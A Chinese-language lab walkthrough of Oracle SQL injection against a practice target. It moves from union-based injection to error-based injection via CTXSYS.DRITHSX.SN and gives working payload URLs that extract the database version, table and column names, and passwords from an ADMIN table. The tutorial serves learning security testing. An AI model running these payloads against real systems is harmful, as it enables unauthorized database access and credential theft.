oracle报错注入
1.首先尝试显错注入
oracle数据库和mysql的数据库不一样,他比较死板,所以格式要求比较严。
oracle有个虚表dual,在mysql查询时,可以直接 select 1,2,3
但是在oracle不行,必须要带上虚表dual
即:select 1,2,3 from dual
这个虚表的作用很多,例如:
select 1+9 from dual 数据运算
select user from dual 查询你的用户名
select dbms_random from dual 调用系统函数,获得随机值
先来看靶场
这里会直接显示执行的语句,所以用来入门比较方便
注入步骤:
1.按照正常步骤来,先判断字段数(不详细说)
?id=1 order by 4
字段数为4
2.判断显错位
这里跟mssql一样,数据类型要和数据库字段类型一样,所以用NULL替代后,在一个一个试
?id=0 union all select NULL,NULL,NULL,NULL from dual
这里id要为0后面才能有回显
这回显了一个时间戳的开始时间
只有试到第四个字段时,回显才有变化
?id=0 union all select NULL,NULL,NULL,111111 from dual
我们查查111111时间戳换算为时间是多少
跟回显的一样,可以知道这里回显的是0+111111s的时间戳转换为现在的时间,时间戳类型
可以进行类型转换,但是注入点不在这个,要一个个试,因为oracle的数据类型很多,靠运气
?id=0 union all select null,null,to_nchar('a'),null from dual
得到的回显
?id=0 union all select null,null,to_nchar(table_name),null from user_tables where rownum=1
但是不知道为什么显示不了admin,有可能是前面的null把第一个数据给覆盖了
可以换种方法,报错注入
但是oracle的查表非常简单
select * from all_tables 查询出所有的表
select * from user_tables 查询出当前用户的表
select * from all_tab_columns 查询出所以的字段
select * from user_tab_columns 查询出当前用户的字段
select * from v$version 查版本
同时用rownum=1来限制查询返回的总行数为一条
若是返回两条,则用rownum<3
2.报错注入
报错注入使用函数
CTXSYS.DRITHSX.SN(user,(select banner from v$version where rownum=1))
去查询关于主题的对应关键词,然后因为查询失败(应该是这个用户没有创建和查询的权限,默认情况没有创建,爆出未查询到的错误从而爆出查询的内容)
eg:
?id=1 and 1=CTXSYS.DRITHSX.SN(1,(select banner from sys.v_$version where rownum=1))
查询数据库版本
因为oracle的语言比较严谨,where后跟的都是条件,单独的字符串不能作为条件,比较才能作为条件,存在的字段名等于这个字符串也可以作为条件,所以要有1=
划线地方即为数据库版本
用同样的方法,来得到表名
?id=1 and 1=CTXSYS.DRITHSX.SN(1,(select table_name from user_tables where rownum=1))
得到
这里如果想要查询第二表,则需要
使用不等于法“<>” 使用这个来把已经查到的表名排除掉
?id=1 and 1=CTXSYS.DRITHSX.SN(1,(select table_name from user_tables where table_name<>'ADMIN' and rownum=1))
爆出第二个表
然后查字段
?id=1 and 1=CTXSYS.DRITHSX.SN(1,(select column_name from user_tab_columns where table_name='ADMIN' and rownum=1))
用别名法得到其他字段
?id=1 and 1=CTXSYS.DRITHSX.SN(1,(select column_name from (select column_name,rownum as n from user_tab_columns where table_name='ADMIN') where n=2))
然后查询
?id=1 and 1=CTXSYS.DRITHSX.SN(1,(select UPASS from ADMIN where rownum=1))
?id=1 and 1=CTXSYS.DRITHSX.SN(1,(select UPASS from (select UPASS,rownum as n from ADMIN ) where n=2))